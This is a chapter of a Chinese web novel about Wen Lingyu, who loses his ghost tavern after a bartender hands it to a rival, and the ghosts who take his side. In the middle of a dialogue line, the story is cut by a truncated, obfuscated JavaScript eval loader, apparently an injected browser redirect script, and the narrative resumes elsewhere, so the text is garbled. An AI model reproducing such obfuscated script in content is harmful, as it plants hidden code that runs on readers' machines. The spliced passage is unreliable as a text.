自己这些天拼了命地找余与域要找回能力，特别是一听说鬼小馆要被拆掉就更加着急了，几乎夜夜合不了眼睛，找回能力的第一时间就是回来。 而自己的一腔热情，对方以为他好的名义单方面开除了他，明明就在刚才，他还在为他们的去路打算。 一种名为的背叛的情绪在心里面燃起来，若不是理智尚在，他现在已经撑不住了。 温令羽轻描淡写地说着这些，小鬼却是一下子炸了。 “他们竟然这么对你？”小鬼对鬼小馆的都没有什么好感，一直都是和温令羽站一边，知道温令羽被背叛，比自己被捅刀子都生气。 小鬼气得说不上来，不断扒拉温令羽，要让温令羽支棱起来，别自己躲起来消化后又对他们笑脸相迎。 太没有面子了。 “你就是一个懦夫！”小鬼大声地喊出了这句话。 这里是后院，与前院是通的，声音小不会有影响，但只要声音大起来，保准是能听得清清楚楚的，更何况小鬼是一点没忍。 就是想让里面也听清楚。 于是，里面商量得火热的大家都冲了出来，纷纷上前要问个清楚，同时又不忘保护温令羽，有几个脾气暴躁的，已经和小鬼骂起来了。 “凭什么这么说他？” “就你也配？” 场面一下子混乱起来，温令羽一时间都不知道是该冲出包围圈，还是去拉架劝架，别发生肢体冲突。 可惜他的说话声一下子就被盖过去了，温令羽一个头两个大，想把小鬼拉回来，别真被他们打伤了。 小鬼早就看他们不爽，直接把酒保的行径抖落得干净，顺带把里头的鬼魂都骂了个遍。 “你们，还有脸住在这里？不羞愧吗？” 致命一问出现，全场瞬间寂静无声。 换成温令羽自己，是说不出来的，习惯使然，有些话总会被自己藏在心里。 小鬼不管不顾，冲在了最前面，为温令羽冲锋陷阵，说了。 大伙都反应了一会儿，其中有一个不敢相信，他看着温令羽的眼睛，认真地问：“他说的是真的吗？鬼小馆易主，而你下岗。” 温令羽点点头，酒保负责换任事项，他的能力消失期间，酒保有权去任命下一届人选，他选了余与域。 “我不认。”突然出现这一道声音。 温令羽向声源处看过去，晋叔站在中间喊的这句话，“晋叔。” 晋叔去找了酒保问情况，晚了一步过来。 他们两个一过来，大伙主动给他让了一条路出来，都想听酒保能说出些什么来说服他们。 鬼小馆的换届事项竟然放到酒保这位小人物身上，平时除了点餐，都不见他有什么行动，一点都不像是老板手下第一信任。 大伙都不敢相信这一幕，酒保被一双双眼睛看着，有些不自在地后退几步。 但视线是三百六十度，有一个方向是来自温令羽。 酒保就将那天的事情原原本本的讲了。 余与域虎视眈眈，迟早有一天会带着手下再来，温令羽却一连两天不见人影，酒保越发着急。 都说害怕什么就会来什么。 余与域直接包了鬼小馆，对面一个个装备齐全，一下子就把里面都控制住了，酒保背后的特殊身份余与域查到了，独自来找他谈判。 “要是你要等温家小子就不用了，来了也看不到你们。”余与域省略了过程，直接带着酒保去见了温令羽。 温令羽就坐在自家公司楼下，都不需要耗费心力去找。 酒保谨记师傅教诲，看不到他们的温令羽与死人无异，而余与域就是唯一的人选，而在对方的强权下只好同意了，他手里的虚拟鬼魂档案交给了余与域，实体的去向也说了。 只是他没想到温令羽还能再回来。 太复杂了，师傅没有说过。 事情与温令羽猜测得大差不差，气也气过了，这时候倒是成了最平静的一位。 晋叔指了指酒保，恨铁不成钢：“你和你师傅差太多了。” 听到这话，酒保的头更低了。 小鬼一度想冲上去打鬼，直接将他看在眼里的奔波抖落了个干净，一瞬间，全场只能听见他的声音了。 等他说累了，晋叔接过了话头，“他给了只是表达了他的意思，我们不认就好了。小温好好站在这里，不需要换人。” “晋叔说得对，我们就认温老板，其他谁来都没用。” 附和这话的鬼魂很多。 小鬼弱弱地后退到温令羽身后，轻声在他身后说：“他们好像没这么坏，我是不是骂太早了？” 温令羽坚定站他前头拆台：“是早了。” 插曲就在几句话中过去了，不过却也是一个实实在在地提醒，大伙都知道不好再继续待在这里了。 离去的时间被提了大步，温老从祠堂回来后，已经整整少了一半的鬼魂。 原先拥挤的家，忽然之间变得空旷了不少。 温老回来听说了酒保的事，没有表达任何看法，只是将温令羽叫进了书房。 “你有没有想过如果你不再是鬼小馆的老板，就不需要再承担这些了？”温老说。 温令羽毫不留情地打破温老的用意，“别装了。你希望的话，就不会留下话指引我过来了。” 温老很满意温令羽的聪明，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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点到为止，能不能想通就看他自己了。 他还是有一点生气，所以这已经是最大让步。 不敢再继续耽搁下去，温令羽买了最近的票，坐上了回去的车。 过道的另一边，小鬼早早就找到了他的空座位，一脸幽怨地看着温令羽，眼神像是在怪他竟然把他丢下。 要不是他自己多心留意，肯定就这么让温令羽跑了。偏偏他鬼生又不识路，跑了就肯定跟不上了。 “你以为这么轻松就能甩掉我？”小鬼冷哼一声，温令羽简直是太小瞧他了，好歹也得真看看有没有睡着再走吧。 温令羽心虚，准备和小鬼说一说利弊，想让他能听话留在这里。 小鬼看出来了，提前一步截住了他的话头，冷声说道：“不需要你的保护！我就是要和你一起。” “知道了。”温令羽妥协低头得很快。